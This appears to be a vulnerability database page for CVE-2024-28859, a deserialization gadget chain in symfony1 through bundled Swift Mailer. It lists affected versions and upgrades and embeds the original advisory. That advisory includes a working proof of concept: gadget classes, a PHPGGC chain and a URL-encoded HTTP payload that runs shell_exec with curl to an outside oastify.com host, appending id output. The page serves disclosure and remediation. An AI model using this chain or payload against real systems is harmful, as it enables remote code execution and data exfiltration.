CVE-2024-28859: Friendsofsymfony1/symfony1 Gadget Chain Vulnerability
MODERATECVE-2024-28859 is a MODERATE (CVSS 5.0) gadget chain vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Friendsofsymfony1/symfony1 libraries in the Packagist ecosystem. The issue involves gadget chain in symfony 1 due to vulnerable swift mailer dependency. Remediation is available by upgrading affected packages to version 1.5.18, 5.4.13, 6.2.5.
CVE-2024-28859 at a Glance
Security Impact
CVSS: 5.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L).
How to Fix CVE-2024-28859
To remediate this vulnerability, upgrade all affected Friendsofsymfony1/symfony1 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade friendsofsymfony1/symfony1 to 1.5.18
Upgrade friendsofsymfony1/swiftmailer to 5.4.13
Upgrade friendsofsymfony1/swiftmailer to 6.2.5
Upgrade swiftmailer/swiftmailer to 6.2.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for friendsofsymfony1/symfony1
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-28859, inspect your project dependencies for Friendsofsymfony1/symfony1:
inspect dependencies for friendsofsymfony1/symfony1
Analyze the terminal output to locate any version of Friendsofsymfony1/symfony1 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.18), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Friendsofsymfony1/symfony1, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-28859 Affected Friendsofsymfony1/symfony1 Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
friendsofsymfony1/symfony1
|
Packagist |
≥ 1.3.0
< 1.5.18
|
1.5.18
|
|
friendsofsymfony1/swiftmailer
|
Packagist |
≥ 4.0.0
< 5.4.13
|
5.4.13
|
|
friendsofsymfony1/swiftmailer
|
Packagist |
≥ 6.0.0
< 6.2.5
|
6.2.5
|
|
swiftmailer/swiftmailer
|
Packagist |
≥ 4.0.0
< 6.2.5
|
6.2.5
|
References
Frequently Asked Questions
What is CVE-2024-28859?
Which Friendsofsymfony1/symfony1 versions are affected?
What version fixes CVE-2024-28859?
Is friendsofsymfony1/symfony1 affected?
Is friendsofsymfony1/swiftmailer affected?
What is the CVSS score of CVE-2024-28859?
What CWE is associated with CVE-2024-28859?
How can I check Packagist dependencies for CVE-2024-28859?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wjv8-pxr6-5f4r",
"modified" : "2025-05-15T21:21:04Z",
"published" : "2024-03-18T20:36:06Z",
"aliases" : [ "CVE-2024-28859" ],
"summary" : "Gadget chain in Symfony 1 due to vulnerable Swift Mailer dependency",
"details" : "### Summary\nSymfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n {\n $a = unserialize($request->getParameter('user'));\n }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 depends on Swift Mailer which is bundled by default in `vendor` directory in the default installation since 1.3.0. Swift Mailer classes implement some `__destruct()` methods like for instance `Swift_KeyCache_DiskKeyCache` :\n```php\n public function __destruct()\n {\n foreach ($this->_keys as $nsKey=>$null)\n {\n $this->clearAll($nsKey);\n }\n }\n```\n\nThis method is called when php destroy the object in memory. However, it is possible to include any object type in `$this->_keys` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `foreach($this->_keys ...)` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`:\n```php\n public function offsetGet($offset)\n {\n return sfOutputEscaper::escape($this->escapingMethod, $this->value[$offset]);\n }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:\n```php\n public static function escape($escapingMethod, $value)\n {\n if (null === $value)\n {\n return $value;\n }\n\n // Scalars are anything other than arrays, objects and resources.\n if (is_scalar($value))\n {\n return call_user_func($escapingMethod, $value);\n }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\nHowever, most recent versions of Swift Mailer are not vulnerable anymore. A fix has been done with [commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed](https://github.com/swiftmailer/swiftmailer/commit/5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed) to prevent #arbitrary deserialization. This commit has been shipped with version 6.2.5 of Swift Mailer.\n\nConcreetly, `__wakeup()` have been implemented to clear attributes' values:\n```php\n public function __wakeup()\n {\n $this->keys = [];\n }\n```\n\nAnd/or prevent any deserialization:\n```php\n public function __wakeup()\n {\n throw new \\BadMethodCallException('Cannot unserialize '.__CLASS__);\n }\n```\n\nIf you install last version 1.5 with composer, you will end-up installing last 6.x version of Swift Mailer containing the previous fixes. Here is an extract of the composer.lock:\n```json\n{\n \"name\": \"friendsofsymfony1/symfony1\",\n \"version\": \"v1.5.15\",\n \"source\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/FriendsOfSymfony1/symfony1.git\",\n \"reference\": \"9945f3f27cdc5aac36f5e8c60485e5c9d5df86f2\"\n },\n \"require\": {\n \"php\": \">=5.3.0\",\n \"swiftmailer/swiftmailer\": \"~5.2 || ^6.0\"\n },\n ...\n {\n \"name\": \"swiftmailer/swiftmailer\",\n \"version\": \"v6.3.0\",\n ...\n }\n}\n```\n\nBy reviewing releases archives, `composer.json` targets vulnerable branch 5.x before Symfony 1.5.13 included:\n```json\n{\n \"name\": \"friendsofsymfony1/symfony1\",\n \"description\": \"Fork of symfony 1.4 with dic, form enhancements, latest swiftmailer and better performance\",\n \"type\": \"library\",\n \"license\": \"MIT\",\n \"require\": {\n \"php\" : \">=5.3.0\",\n \"swiftmailer/swiftmailer\": \"~5.2\"\n },\n ...\n```\n\nSo, the gadget chain is valid for at least versions until 1.5.13.\n\nHowever, if you install last version of Symfony with git as described in the README, Swift Mailer vendors is referenced through a git sub-module targeting branch 5.x of Swift Mailer:\n```shell\n[submodule \"lib/vendor/swiftmailer\"]\n path = lib/vendor/swiftmailer\n url = https://github.com/swiftmailer/swiftmailer.git\n branch = 5.x\n[submodule \"lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine\"]\n path = lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine\n url = https://github.com/FriendsOfSymfony1/doctrine1.git\n```\n\nAnd branch 5.x does not have the backport of the fix committed on branch 6.x. Last commit date from Jul 31, 2018.\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)\");`:\n\n```php\nobject(Swift_KeyCache_DiskKeyCache)#88 (4) {\n [\"_stream\":\"Swift_KeyCache_DiskKeyCache\":private]=>\n NULL\n [\"_path\":\"Swift_KeyCache_DiskKeyCache\":private]=>\n string(25) \"thispathshouldneverexists\"\n [\"_keys\":\"Swift_KeyCache_DiskKeyCache\":private]=>\n object(sfOutputEscaperArrayDecorator)#89 (3) {\n [\"count\":\"sfOutputEscaperArrayDecorator\":private]=>\n NULL\n [\"value\":protected]=>\n array(1) {\n [1]=>\n string(66) \"curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)\"\n }\n [\"escapingMethod\":protected]=>\n string(10) \"shell_exec\"\n }\n [\"_quotes\":\"Swift_KeyCache_DiskKeyCache\":private]=>\n bool(false)\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass Swift_KeyCache_DiskKeyCache\n{\n private $_path;\n private $_keys = array();\n public function __construct($keys, $path) {\n $this->_keys = $keys;\n $this->_path = $path;\n }\n}\n\nclass sfOutputEscaperArrayDecorator\n{\n protected $value;\n protected $escapingMethod;\n public function __construct($escapingMethod, $value) {\n $this->escapingMethod = $escapingMethod;\n $this->value = $value;\n }\n}\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE12 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n public static $version = '1.3.0 < 1.5.15';\n public static $vector = '__destruct';\n public static $author = 'darkpills';\n public static $information = \n 'Based on Symfony 1 and Swift mailer in Symfony\\'s vendor';\n\n public function generate(array $parameters)\n {\n $cacheKey = \"1\";\n $keys = new \\sfOutputEscaperArrayDecorator($parameters['function'], array($cacheKey => $parameters['parameter']));\n $path = \"thispathshouldneverexists\";\n $cache = new \\Swift_KeyCache_DiskKeyCache($keys, $path);\n\n return $cache;\n }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=a%3A2%3A%7Bi%3A7%3BO%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3Bs%3A25%3A%22thispathshouldneverexists%22%3Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A66%3A%22curl+https%3A%2F%2Fh0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7Di%3A7%3Bi%3A7%3B%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nAs with composer, Symfony is already using branch 6.x of Swift mailer there does not seem to be breaking change for Symfony 1 with branch 6.x? Or is it a mistake?\n\nIn this case, update submodule reference to version 6.2.5 or higher, after commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed\n\nOr if Symfony 1.5 need Swift 5.x, fork Swift mailer in a FOS/SwiftMailer repository and cherry-pick commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "friendsofsymfony1/symfony1"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.3.0"
}, {
"fixed" : "1.5.18"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "< 1.5.13"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "friendsofsymfony1/swiftmailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "5.4.13"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "friendsofsymfony1/swiftmailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "6.0.0"
}, {
"fixed" : "6.2.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "swiftmailer/swiftmailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "6.2.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-wjv8-pxr6-5f4r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28859"
}, {
"type" : "WEB",
"url" : "https://github.com/FriendsOfSymfony1/symfony1/commit/edb850f94fb4de18ca53d0d1824910d6e8130166"
}, {
"type" : "WEB",
"url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/swiftmailer/CVE-2024-28859.yaml"
}, {
"type" : "WEB",
"url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28859.yaml"
}, {
"type" : "WEB",
"url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/swiftmailer/swiftmailer/CVE-2024-28859.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FriendsOfSymfony1/symfony1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-03-18T20:36:06Z",
"nvd_published_at" : "2024-03-15T23:15:08Z"
}
}